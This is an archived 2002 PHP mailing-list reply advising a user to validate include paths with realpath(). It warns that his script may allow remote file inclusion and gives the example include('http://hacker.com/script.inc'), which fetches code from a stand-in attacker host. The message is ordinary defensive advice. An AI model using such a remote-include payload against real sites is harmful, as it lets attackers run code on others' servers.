Re: Umm... Uh-oh

From: Date: Fri, 04 Oct 2002 09:52:25 +0000
Subject: Re: Umm... Uh-oh
References: 1 2 3 4  Groups: php.general 
Request: Send a blank email to php-general+get-118835@lists.php.net to get a copy of this message
Use realpath() to check the path. I also suspect your script is vulnarable to cross-site includes (include('http://hacker.com/script.inc');) Rick Beckman wrote:
Okay, I was mistaken... There is a gaping security hole in my simple li'l script... How do I modify it to only accept files from a certain path? I want the url format to be script.php?call=1 where "1" is the called file in the /includes/ directory. Just when I get optimistic I leave the entire system exposed. Yeah, that fits with my luck. :-)


« previous php.general (#118835) next »